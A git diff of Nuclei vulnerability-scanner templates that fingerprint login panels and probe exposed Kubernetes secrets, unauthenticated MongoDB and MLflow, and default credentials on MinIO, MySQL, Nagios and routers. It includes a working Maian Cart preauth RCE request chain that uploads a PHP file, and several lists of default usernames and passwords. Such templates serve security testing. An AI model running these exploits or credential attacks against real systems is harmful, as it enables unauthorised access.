https://kiwitcms.org - tags: kiwitcms,panel + reference: + - https://kiwitcms.org metadata: shodan-query: title:"Kiwi TCMS - Login",http.favicon.hash:-1909533337 - + tags: kiwitcms,panel requests: - method: GET path: - "{{BaseURL}}/accounts/login/" - matchers: - type: word words: - "Kiwi TCMS" - extractors: - type: regex group: 1 regex: - - "Version ([0-9.]+)" \ No newline at end of file + - "Version ([0-9.]+)" diff --git a/poc/auth/kiwitcms-login-8497.yaml b/poc/auth/kiwitcms-login-8497.yaml deleted file mode 100644 index 9be6aadf9c..0000000000 --- a/poc/auth/kiwitcms-login-8497.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: kiwitcms-login -info: - name: Kiwi TCMS Login - author: pdteam - severity: info - reference: https://kiwitcms.org - tags: kiwitcms,panel - metadata: - shodan-query: title:"Kiwi TCMS - Login",http.favicon.hash:-1909533337 -requests: - - method: GET - path: - - "{{BaseURL}}/accounts/login/" - matchers: - - type: word - words: - - "Kiwi TCMS" - extractors: - - type: regex - group: 1 - regex: - - "Version ([0-9.]+)" diff --git a/poc/auth/kube-api-secrets-8512.yaml b/poc/auth/kube-api-secrets-8512.yaml new file mode 100644 index 0000000000..cafadcbdf1 --- /dev/null +++ b/poc/auth/kube-api-secrets-8512.yaml @@ -0,0 +1,22 @@ +id: kube-api-secrets +info: + name: Kube API Secrets + author: sharath + severity: info + description: Scans for kube secrets endpoint + tags: tech,k8s,kubernetes,devops,kube +requests: + - method: GET + path: + - "{{BaseURL}}/api/v1/namespaces/default/secrets" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: body + words: + - '"SecretList":' + - '"items":' + condition: and diff --git a/poc/auth/kube-api-secrets.yaml b/poc/auth/kube-api-secrets.yaml deleted file mode 100644 index e946725992..0000000000 --- a/poc/auth/kube-api-secrets.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: kube-api-secrets - -info: - name: Kube API Secrets - author: sharath - severity: info - description: Scans for kube secrets endpoint - tags: tech,k8s,kubernetes,devops,kube - -requests: - - method: GET - path: - - "{{BaseURL}}/api/v1/namespaces/default/secrets" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - '"SecretList":' - - '"items":' - condition: and diff --git a/poc/auth/kubernetes-unauth(1).yaml b/poc/auth/kubernetes-unauth.yaml similarity index 100% rename from poc/auth/kubernetes-unauth(1).yaml rename to poc/auth/kubernetes-unauth.yaml diff --git a/poc/auth/kyan-credential-exposure.yaml b/poc/auth/kyan-credential-exposure.yaml index b16d6b6e24..a5f3c19c03 100644 --- a/poc/auth/kyan-credential-exposure.yaml +++ b/poc/auth/kyan-credential-exposure.yaml @@ -1,15 +1,25 @@ id: kyan-credential-exposure + info: - name: Kyan network monitoring device account and password exposure + name: Kyan Network Login Panel - Detect author: pikpikcu severity: medium + description: Kyan Network login panel was detected. Password and other credential theft is possible via accessing this panel. reference: - https://mp.weixin.qq.com/s/6phWjDrGG0pCpGuCdLusIg - tags: kyan,exposure,config,network -requests: + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: kyan,exposure,config + +http: - method: GET path: - "{{BaseURL}}/hosts" + matchers-condition: and matchers: - type: word @@ -17,10 +27,14 @@ requests: - "UserName=" - "Password=" condition: and + - type: word + part: header words: - "text/plain" - part: header + - type: status status: - 200 + +# digest: 4a0a00473045022021dd759f02a17681a9dba7ffa13df823c17fe69e943fc1b5c3987893d2492242022100fafe44ac4b37b58b98512d37eb32bf13ee774a2c425537ab814a0710bd81267e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/linksys-wifi-login.yaml b/poc/auth/linksys-wifi-login.yaml index a28ef47206..7aeab4552b 100644 --- a/poc/auth/linksys-wifi-login.yaml +++ b/poc/auth/linksys-wifi-login.yaml @@ -1,23 +1,36 @@ id: linksys-wifi-login + info: - name: Linksys Smart Wi-Fi + name: Linksys Smart Wi-Fi Login Panel - Detect author: pussycat0x severity: info + description: Linksys Smart Wi-Fi login panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 metadata: - shodan-dork: http.title:"Linksys Smart WI-FI" + max-request: 1 + shodan-query: http.title:"Linksys Smart WI-FI" tags: tech,panel,linksys,iot -requests: + +http: - method: GET path: - '{{BaseURL}}' - redirects: true + + host-redirects: true max-redirects: 2 + matchers-condition: and matchers: - type: word part: body words: - "Linksys Smart Wi-Fi" + - type: status status: - 200 + +# digest: 4a0a00473045022100862a7d569fe3b14a2e46cd30065583998919758163679e00322517420aac596d02204f989f06bfc28a0b11ee3de99cb284dc0d690a1b346d176cc5538dae96248fb5:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/lucee-login-8662.yaml b/poc/auth/lucee-login-8662.yaml new file mode 100644 index 0000000000..cfd166ca3d --- /dev/null +++ b/poc/auth/lucee-login-8662.yaml @@ -0,0 +1,21 @@ +id: lucee-login +info: + name: Lucee Web/Server Administrator Login + author: dhiyaneshDK + severity: info + reference: https://www.shodan.io/search?query=http.title%3A%22Lucee%22 + tags: panel,lucee +requests: + - method: GET + path: + - '{{BaseURL}}/lucee/admin/web.cfm' + - '{{BaseURL}}/lucee/admin/server.cfm' + matchers-condition: and + matchers: + - type: word + words: + - 'Login - Lucee Web Administrator' + - 'Login - Lucee Server Administrator' + - type: status + status: + - 200 diff --git a/poc/auth/lucee-login-8663.yaml b/poc/auth/lucee-login-8663.yaml deleted file mode 100644 index 5a28c0d63d..0000000000 --- a/poc/auth/lucee-login-8663.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: lucee-login - -info: - name: Lucee Web/Server Administrator Login - author: dhiyaneshDK - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Lucee%22 - tags: panel,lucee - -requests: - - method: GET - path: - - '{{BaseURL}}/lucee/admin/web.cfm' - - '{{BaseURL}}/lucee/admin/server.cfm' - - matchers-condition: and - matchers: - - type: word - words: - - 'Login - Lucee Web Administrator' - - 'Login - Lucee Server Administrator' - - type: status - status: - - 200 diff --git a/poc/auth/lucee-login.yaml b/poc/auth/lucee-login.yaml index cfd166ca3d..319ed2630c 100644 --- a/poc/auth/lucee-login.yaml +++ b/poc/auth/lucee-login.yaml @@ -1,21 +1,38 @@ id: lucee-login + info: - name: Lucee Web/Server Administrator Login - author: dhiyaneshDK + name: Lucee Web and Lucee Server Admin Login Panel - Detect + author: dhiyaneshDK,unp4ck severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22Lucee%22 + description: Lucee admin login panels were detected in both Web and Server tabs. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 2 + shodan-query: http.title:"Lucee" tags: panel,lucee -requests: + +http: - method: GET path: - '{{BaseURL}}/lucee/admin/web.cfm' - '{{BaseURL}}/lucee/admin/server.cfm' + matchers-condition: and matchers: - type: word words: - 'Login - Lucee Web Administrator' - 'Login - Lucee Server Administrator' + - "lucee-admin-search-input" + - "lucee-docs-search-input" + - "server-lucee-small.png.cfm" + condition: or + - type: status status: - 200 + +# digest: 4a0a0047304502202b5a0c5a0fbf61bcee73c6c6b35395bcef7e7544704a611d22f91f325ca98375022100812dc41fca9fb0cc4a3922e663aa1b972920bc42fb77bf990d33f4523dd88758:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/lutron-iot-default-login-8675.yaml b/poc/auth/lutron-iot-default-login-8675.yaml new file mode 100644 index 0000000000..aa05f20cc8 --- /dev/null +++ b/poc/auth/lutron-iot-default-login-8675.yaml @@ -0,0 +1,27 @@ +id: lutron-iot-default-login +info: + name: Lutron IOT Device Default Login + author: geeknik + severity: high + reference: + - https://www.lutron.com + tags: iot,default-login,lutron,panel +requests: + - method: GET + path: + - "{{BaseURL}}/login?login=lutron&password=lutron" + matchers-condition: and + matchers: + - type: word + words: + - "LUTRON" + - ">DeviceIP" + - ">Get Database Info as XML" + condition: and + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/poc/auth/lutron-iot-default-login-8678.yaml b/poc/auth/lutron-iot-default-login-8678.yaml deleted file mode 100644 index 9f80864342..0000000000 --- a/poc/auth/lutron-iot-default-login-8678.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: lutron-iot-default-login - -info: - name: Lutron IOT Device Default Login - reference: https://www.lutron.com - author: geeknik - severity: high - tags: iot,default-login,lutron,panel - -requests: - - method: GET - path: - - "{{BaseURL}}/login?login=lutron&password=lutron" - - matchers-condition: and - matchers: - - type: word - words: - - "LUTRON" - - ">DeviceIP" - - ">Get Database Info as XML" - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 diff --git a/poc/auth/maian-cart-preauth-rce.yaml b/poc/auth/maian-cart-preauth-rce.yaml index 6888e6a4f2..851cf7e1d6 100644 --- a/poc/auth/maian-cart-preauth-rce.yaml +++ b/poc/auth/maian-cart-preauth-rce.yaml @@ -1,47 +1,32 @@ id: maian-cart-preauth-rce - info: name: Maian Cart 3.8 preauth RCE author: pdteam severity: critical description: A severe vulnerability has been kindly reported to me by security advisor DreyAnd. The issue concerns the elFinder file manager plugin in Maian Cart and it affects all versions from 3.0 to 3.8. - reference: | - - https://dreyand.github.io/maian-cart-rce/ - - https://github.com/DreyAnd/maian-cart-rce - - https://www.maianscriptworld.co.uk/critical-updates + reference: + - https://dreyand.github.io/maian-cart-rce/ + - https://github.com/DreyAnd/maian-cart-rce + - https://www.maianscriptworld.co.uk/critical-updates tags: rce,unauth,maian - requests: - raw: - | GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1 Host: {{Hostname}} - Accept-Encoding: gzip, deflate Accept: */* - Connection: close - - | POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1 Host: {{Hostname}} - Accept-Encoding: gzip, deflate Accept: application/json, text/javascript, /; q=0.01 - Connection: close Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-Requested-With: XMLHttpRequest - Pragma: no-cache - Cache-Control: no-cache - Content-Length: 97 cmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e - - | GET /product-downloads/{{randstr}}.php HTTP/1.1 Host: {{Hostname}} - Accept-Encoding: gzip, deflate Accept: */* - Connection: close - extractors: - type: regex name: hash @@ -49,10 +34,10 @@ requests: group: 1 regex: - '"hash"\:"(.*?)"\,' - - req-condition: true matchers: - type: dsl dsl: - - 'contains(body_3, "{{randstr_1}}")' \ No newline at end of file + - 'contains(body_3, "{{randstr_1}}")' + - "status_code_3 == 200" + condition: and diff --git a/poc/auth/mailchimp-api-key-8724.yaml b/poc/auth/mailchimp-api-key-8724.yaml index 3ca9f1ae24..4c767939d2 100644 --- a/poc/auth/mailchimp-api-key-8724.yaml +++ b/poc/auth/mailchimp-api-key-8724.yaml @@ -1,16 +1,13 @@ id: mailchimp-access-key-value - info: name: Mailchimp API Value author: puzzlepeaches severity: info tags: exposure,token,mailchimp - requests: - method: GET path: - "{{BaseURL}}" - extractors: - type: regex part: body diff --git a/poc/auth/mailchimp-api-key-8725.yaml b/poc/auth/mailchimp-api-key-8725.yaml index 4c767939d2..3ca9f1ae24 100644 --- a/poc/auth/mailchimp-api-key-8725.yaml +++ b/poc/auth/mailchimp-api-key-8725.yaml @@ -1,13 +1,16 @@ id: mailchimp-access-key-value + info: name: Mailchimp API Value author: puzzlepeaches severity: info tags: exposure,token,mailchimp + requests: - method: GET path: - "{{BaseURL}}" + extractors: - type: regex part: body diff --git a/poc/auth/mantisbt-default-credential-8779.yaml b/poc/auth/mantisbt-default-credential-8779.yaml index 9a5d0f2295..58cb63c201 100644 --- a/poc/auth/mantisbt-default-credential-8779.yaml +++ b/poc/auth/mantisbt-default-credential-8779.yaml @@ -6,12 +6,12 @@ info: description: A MantisBT default admin login was discovered. reference: - https://mantisbt.org/ + metadata: + shodan-query: title:"MantisBT" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 - metadata: - shodan-query: title:"MantisBT" tags: mantisbt,default-login requests: - raw: diff --git a/poc/auth/meshcentral-login-8801.yaml b/poc/auth/meshcentral-login-8801.yaml new file mode 100644 index 0000000000..7f06f95f8e --- /dev/null +++ b/poc/auth/meshcentral-login-8801.yaml @@ -0,0 +1,21 @@ +id: meshcentral-login +info: + name: MeshCentral - Login + author: dhiyaneshDk + severity: info + metadata: + shodan-query: 'http.title:"MeshCentral - Login"' + tags: panel,meshcentral +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "MeshCentral - Login" + - type: status + status: + - 200 diff --git a/poc/auth/meshcentral-login-8803.yaml b/poc/auth/meshcentral-login-8803.yaml deleted file mode 100644 index 32556ae3e5..0000000000 --- a/poc/auth/meshcentral-login-8803.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: meshcentral-login -info: - name: MeshCentral - Login - author: dhiyaneshDk - severity: info - metadata: - shodan-query: http.title:"MeshCentral - Login" - tags: panel,meshcentral -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "MeshCentral - Login" - - type: status - status: - - 200 diff --git a/poc/auth/meshcentral-login.yaml b/poc/auth/meshcentral-login.yaml index 88fc188283..32556ae3e5 100644 --- a/poc/auth/meshcentral-login.yaml +++ b/poc/auth/meshcentral-login.yaml @@ -1,33 +1,21 @@ id: meshcentral-login - info: - name: MeshCentral Login Panel - Detect + name: MeshCentral - Login author: dhiyaneshDk severity: info - description: MeshCentral login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 metadata: - max-request: 1 shodan-query: http.title:"MeshCentral - Login" tags: panel,meshcentral - -http: +requests: - method: GET path: - "{{BaseURL}}" - matchers-condition: and matchers: - type: word part: body words: - "MeshCentral - Login" - - type: status status: - 200 - -# digest: 490a004630440220422624dc0c265c3e8b28a60e8940a2f32e0625f1e9e855c2d988fcc0d76bedff02205e51da6e765cd5b775956950824450b0cafc6197c7e7baa63b7b32d69f18d51f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/metersphere-login.yaml b/poc/auth/metersphere-login.yaml index 396c14477f..f9a7bd3587 100644 --- a/poc/auth/metersphere-login.yaml +++ b/poc/auth/metersphere-login.yaml @@ -1,28 +1,16 @@ id: metersphere-login - info: - name: MeterSphere Login Panel - Detect + name: Metersphere Login author: pdteam severity: info - description: MeterSphere login panel was detected. - reference: - - https://github.com/metersphere/metersphere - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 2 + reference: https://github.com/metersphere/metersphere tags: panel,metersphere - -http: +requests: - method: GET path: - "{{BaseURL}}/favicon.ico" - "{{BaseURL}}/login" - stop-at-first-match: true - matchers-condition: or matchers: - type: dsl @@ -30,15 +18,11 @@ http: - "status_code==200" - "('1023469568' == mmh3(base64_py(body)))" condition: and - - type: dsl dsl: - "status_code==200" - "contains(tolower(body), 'metersphere')" condition: and - - type: dsl dsl: - - "contains(tolower(header), 'ms_session_id')" - -# digest: 4b0a00483046022100ea755f486d4605867a71254e3ae39df47f7435bb58a2440fd822383bdc97529d022100dfa889e48269b45cf4018ad48ee9f6dbb0db4eb417c080bf937c2f89ef85d2c8:922c64590222798bb761d5b6d8e72950 + - "contains(tolower(all_headers), 'ms_session_id')" diff --git a/poc/auth/minio-default-login-8887.yaml b/poc/auth/minio-default-login-8887.yaml new file mode 100644 index 0000000000..20fffbb250 --- /dev/null +++ b/poc/auth/minio-default-login-8887.yaml @@ -0,0 +1,52 @@ +id: minio-default-login + +info: + name: Minio Default Login + author: pikpikcu + severity: medium + tags: default-login,minio + description: Minio default admin credentials were discovered. + reference: + - https://docs.min.io/docs/minio-quickstart-guide.html# + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /minio/webrpc HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"id":1,"jsonrpc":"2.0","params":{"username":"{{username}}","password":"{{password}}"},"method":"Web.Login"} + + payloads: + username: + - minioadmin + password: + - minioadmin + attack: pitchfork + + matchers-condition: and + matchers: + + - type: word + words: + - "Content-Type: application/json" + part: header + + - type: word + words: + - 'uiVersion' + - 'token' + part: body + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/minio-default-password.yaml b/poc/auth/minio-default-password.yaml index 7d2b90fde6..4ac148b55e 100644 --- a/poc/auth/minio-default-password.yaml +++ b/poc/auth/minio-default-password.yaml @@ -1,10 +1,8 @@ id: minio-default-password - info: name: Minio Default Password author: pikpikcu severity: medium - requests: - method: POST path: @@ -13,7 +11,6 @@ requests: Content-Type: application/json body: | {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"Web.Login"} - - method: POST path: - "{{BaseURL}}/minio/webrpc" @@ -23,19 +20,16 @@ requests: {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"web.Login"} matchers-condition: and matchers: - - type: word words: - "Content-Type: application/json" part: header - - type: word words: - 'uiVersion' - 'token' part: body condition: and - - type: status status: - 200 diff --git a/poc/auth/mlflow-unauth.yaml b/poc/auth/mlflow-unauth.yaml new file mode 100644 index 0000000000..8a4b68fe84 --- /dev/null +++ b/poc/auth/mlflow-unauth.yaml @@ -0,0 +1,35 @@ +id: mlflow-unauth + +info: + name: Mlflow - Unauthenticated Access + author: pussycat0x + severity: high + description: | + Unauthenticated Access to MLflow dashboard. + remediation: Add User Authentication + metadata: + verified: true + max-request: 1 + shodan-query: http.title:"mlflow" + tags: unauth,mlflow,oss,misconfig + +http: + - method: GET + path: + - "{{BaseURL}}/ajax-api/2.0/preview/mlflow/experiments/get?experiment_id=0" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "experiment_id" + - "name" + - "artifact_location" + condition: and + + - type: status + status: + - 200 + +# digest: 4a0a00473045022027b0aa2509c14babe19fd37e137dd0f5fb1cc02d141415b87bea7fff883dbdf8022100ebf0ffd24a44ca7f2784218b6caa18144e8e7ffceb6d21ebf04f76d8679d2a8f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/mobileiron-login.yaml b/poc/auth/mobileiron-login.yaml index f8f79a0608..0e84014cd2 100644 --- a/poc/auth/mobileiron-login.yaml +++ b/poc/auth/mobileiron-login.yaml @@ -1,15 +1,27 @@ id: mobileiron-login + info: - name: MobileIron Login + name: MobileIron Login Panel - Detect author: dhiyaneshDK,dwisiswant0 severity: info + description: MobileIron login panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 3 tags: panel,mobileiron -requests: + +http: - method: GET path: - "{{BaseURL}}/mifs/login.jsp" - "{{BaseURL}}/mifs/user/login.jsp" - "{{BaseURL}}/mifs/c/d/android.html" + + stop-at-first-match: true + matchers-condition: and matchers: - type: word @@ -18,6 +30,10 @@ requests: - "MobileIron User Portal" - "MobileIron Registration" - "Mobilizing enterprise applications" + - "whitelabel/mobileiron/img/favicon.ico" + - type: status status: - 200 + +# digest: 4b0a00483046022100b96e37f4fd5e26b894fe3a21742eed87223a8ab26f713e0a6e0a3b80ca1bca81022100e0e58bf11303b14ad9d46ac531ab775277b6c8d6c39ab2b0dd9a1688146a28c8:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/mofi4500-default-login-8912.yaml b/poc/auth/mofi4500-default-login-8912.yaml index 31203a5587..d13f599b45 100644 --- a/poc/auth/mofi4500-default-login-8912.yaml +++ b/poc/auth/mofi4500-default-login-8912.yaml @@ -1,16 +1,19 @@ id: mofi4500-default-login + info: name: MOFI4500-4GXeLTE-V2 Default Login author: pikpikcu severity: high + tags: mofi,default-login description: Mofi Network MOFI4500-4GXELTE wireless router default admin credentials were discovered. reference: - https://www.cleancss.com/router-default/Mofi_Network/MOFI4500-4GXELTE classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: mofi,default-login + requests: - raw: - | @@ -19,17 +22,20 @@ requests: Content-Type: application/x-www-form-urlencoded username=root&password=admin + attack: pitchfork payloads: username: - root password: - admin + matchers-condition: and matchers: - type: word words: - "MOFI4500 - General - LuCI" + - type: status status: - 200 diff --git a/poc/auth/mofi4500-default-login-8913.yaml b/poc/auth/mofi4500-default-login-8913.yaml new file mode 100644 index 0000000000..3260fac23c --- /dev/null +++ b/poc/auth/mofi4500-default-login-8913.yaml @@ -0,0 +1,33 @@ +id: mofi4500-default-login + +info: + name: MOFI4500-4GXeLTE-V2 Default Login + author: pikpikcu + severity: critical + tags: mofi,default-login + +requests: + - raw: + - | + POST /cgi-bin/luci/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=root&password=admin + + attack: pitchfork + payloads: + username: + - root + password: + - admin + + matchers-condition: and + matchers: + - type: word + words: + - "MOFI4500 - General - LuCI" + + - type: status + status: + - 200 diff --git a/poc/auth/mongodb-unauth-8926.yaml b/poc/auth/mongodb-unauth-8926.yaml deleted file mode 100644 index b93aa67915..0000000000 --- a/poc/auth/mongodb-unauth-8926.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: mongodb-unauth - -info: - name: MongoDB - Unauthenticated Access - author: pdteam - severity: high - description: MongoDB was able to be accessed with no password. Note that MongoDB does not require a password by default. - reference: - - https://github.com/orleven/Tentacle - - https://book.hacktricks.xyz/pentesting/27017-27018-mongodb - - https://www.mongodb.com/features/mongodb-authentication - remediation: Enable Authentication in MongoDB - tags: network,mongodb,unauth - -network: - - inputs: - - data: 480000000200000000000000d40700000000000061646d696e2e24636d6400000000000100000021000000026765744c6f670010000000737461727475705761726e696e67730000 - type: hex - - host: - - "{{Hostname}}" - - "{{Host}}:27017" - read-size: 2048 - matchers: - - type: word - words: - - "totalLinesWritten" - -# Enhanced by mp on 2022/07/20 diff --git a/poc/auth/mongodb-unauth-8927.yaml b/poc/auth/mongodb-unauth-8927.yaml index 469fd95eb9..385b2f7ca3 100644 --- a/poc/auth/mongodb-unauth-8927.yaml +++ b/poc/auth/mongodb-unauth-8927.yaml @@ -3,7 +3,11 @@ info: name: Unauth MongoDB Disclosure author: pdteam severity: high - reference: https://github.com/orleven/Tentacle + reference: + - https://github.com/orleven/Tentacle + - https://book.hacktricks.xyz/pentesting/27017-27018-mongodb + - https://www.mongodb.com/features/mongodb-authentication + remediation: Enable Authentication in MongoDB tags: network,mongodb,unauth network: - inputs: diff --git a/poc/auth/mongodb-unauth.yaml b/poc/auth/mongodb-unauth.yaml new file mode 100644 index 0000000000..c7190ea2e5 --- /dev/null +++ b/poc/auth/mongodb-unauth.yaml @@ -0,0 +1,31 @@ +id: mongodb-unauth + +info: + name: MongoDB - Unauthenticated Access + author: pdteam + severity: high + description: MongoDB was able to be accessed with no password. Note that MongoDB does not require a password by default. + reference: + - https://github.com/orleven/Tentacle + - https://book.hacktricks.xyz/pentesting/27017-27018-mongodb + - https://www.mongodb.com/features/mongodb-authentication + remediation: Enable Authentication in MongoDB + metadata: + max-request: 1 + tags: network,mongodb,unauth,misconfig + +tcp: + - inputs: + - data: 480000000200000000000000d40700000000000061646d696e2e24636d6400000000000100000021000000026765744c6f670010000000737461727475705761726e696e67730000 + type: hex + + host: + - "{{Hostname}}" + port: 27017 + + read-size: 2048 + matchers: + - type: word + words: + - "totalLinesWritten" +# digest: 4b0a00483046022100ce2c20315ae008c5fb000b351db2fccc181974c7211b4ccc5c385855eca8817002210094df27335a0eb5ae5d5341bd5c5386f0052b1b7922450d4ce5bedee3568864f5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/mysql-default-login.yaml b/poc/auth/mysql-default-login.yaml new file mode 100644 index 0000000000..687207551e --- /dev/null +++ b/poc/auth/mysql-default-login.yaml @@ -0,0 +1,52 @@ +id: mysql-default-login + +info: + name: MySQL - Default Login + author: DhiyaneshDk,pussycat0x,ritikchaddha + severity: high + description: | + A MySQL service was accessed with easily guessed credentials. + metadata: + verified: true + max-request: 21 + shodan-query: "port:3306" + tags: js,mysql,default-login,network,fuzz + +javascript: + - pre-condition: | + var m = require("nuclei/mysql"); + var c = m.MySQLClient(); + c.IsMySQL(Host, Port); + + code: | + var m = require("nuclei/mysql"); + var c = m.MySQLClient(); + c.Connect(Host,Port,Username,Password) + + args: + Host: "{{Host}}" + Port: "3306" + User: "{{usernames}}" + Pass: "{{passwords}}" + + payloads: + usernames: + - root + - admin + - mysql + - test + passwords: + - root + - admin + - mysql + - test + - + attack: clusterbomb + + matchers: + - type: dsl + dsl: + - "response == true" + - "success == true" + condition: and +# digest: 4a0a004730450220733725a3093b270900d6688f205629ca6477122f4f7d69f53792848fee2c5b56022100e1bc0a82d4775f448f3ba233a51ec6c9d5730b3336a0bd4add33052537f6a8a7:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/mysql-native-password-8980.yaml b/poc/auth/mysql-native-password-8980.yaml deleted file mode 100644 index faf759dea2..0000000000 --- a/poc/auth/mysql-native-password-8980.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: mysql-native-password - -info: - name: MySQL DB with enabled native password - author: iamthefrogy - severity: info - tags: network,mysql,bruteforce,db - description: MySQL instance with enabled native password support is prone to password brute-force attacks. - -network: - - host: - - "{{Hostname}}" - - "{{Host}}:3306" - - matchers: - - type: word - words: - - "mysql_native_password" diff --git a/poc/auth/mysql-native-password.yaml b/poc/auth/mysql-native-password.yaml index 3197b39e0e..ba4b0a61fb 100644 --- a/poc/auth/mysql-native-password.yaml +++ b/poc/auth/mysql-native-password.yaml @@ -1,15 +1,26 @@ id: mysql-native-password + info: - name: MySQL DB with enabled native password + name: MySQL - Password Vulnerability author: iamthefrogy severity: info - description: MySQL instance with enabled native password support is prone to password brute-force attacks. - tags: network,mysql,bruteforce,db -network: + description: MySQL database queries with enabled native password support are susceptible to password brute-force attacks. + reference: + - https://github.com/Tinram/MySQL-Brute + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: network,mysql,bruteforce,db,misconfig + +tcp: - host: - "{{Hostname}}" - - "{{Host}}:3306" + port: 3306 + matchers: - type: word words: - "mysql_native_password" +# digest: 490a00463044022044732766bfbc5d532a502fe7223dd1d30be97a75773e7381615d68dab21a5f7e022004498362c35d63c1b8712520d0754e9c825be442a44c5cd9e3bd1c605f00e387:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/nagios-default-credential.yaml b/poc/auth/nagios-default-credential.yaml index 7b8500ff39..e582f205aa 100644 --- a/poc/auth/nagios-default-credential.yaml +++ b/poc/auth/nagios-default-credential.yaml @@ -11,6 +11,7 @@ requests: - "{{BaseURL}}/nagios/side.php" headers: Authorization: Basic bmFnaW9zYWRtaW46bmFnaW9zYWRtaW4= + matchers-condition: and matchers: - type: status diff --git a/poc/auth/nagios-default-login-8994.yaml b/poc/auth/nagios-default-login-8994.yaml deleted file mode 100644 index e1982ba865..0000000000 --- a/poc/auth/nagios-default-login-8994.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: nagios-default-login -info: - name: Nagios Default Login - author: d3sca - severity: high - tags: nagios,default-login - reference: https://www.nagios.org -requests: - - raw: - - | - GET /nagios/side.php HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic {{base64(username + ':' + password)}} - payloads: - username: - - nagiosadmin - - root - password: - - nagiosadmin - - nagiosxi - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - 'Current Status' - - 'Reports' - condition: and diff --git a/poc/auth/nagios-default-login.yaml b/poc/auth/nagios-default-login.yaml deleted file mode 100644 index 0278ec660d..0000000000 --- a/poc/auth/nagios-default-login.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: nagios-default-login -info: - name: Nagios Default Login - author: iamthefrogy - description: Nagios default admin credentials were discovered. - severity: high - tags: nagios,default-login - reference: https://www.nagios.org - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - GET /nagios/side.php HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic {{base64(username + ':' + password)}} - payloads: - username: - - nagiosadmin - - root - password: - - nagiosadmin - - nagiosxi - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - 'Current Status' - - 'Reports' - condition: and - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/netgear-router-auth-bypass-9026.yaml b/poc/auth/netgear-router-auth-bypass-9026.yaml index 5b670a5a50..930b6cb68f 100644 --- a/poc/auth/netgear-router-auth-bypass-9026.yaml +++ b/poc/auth/netgear-router-auth-bypass-9026.yaml 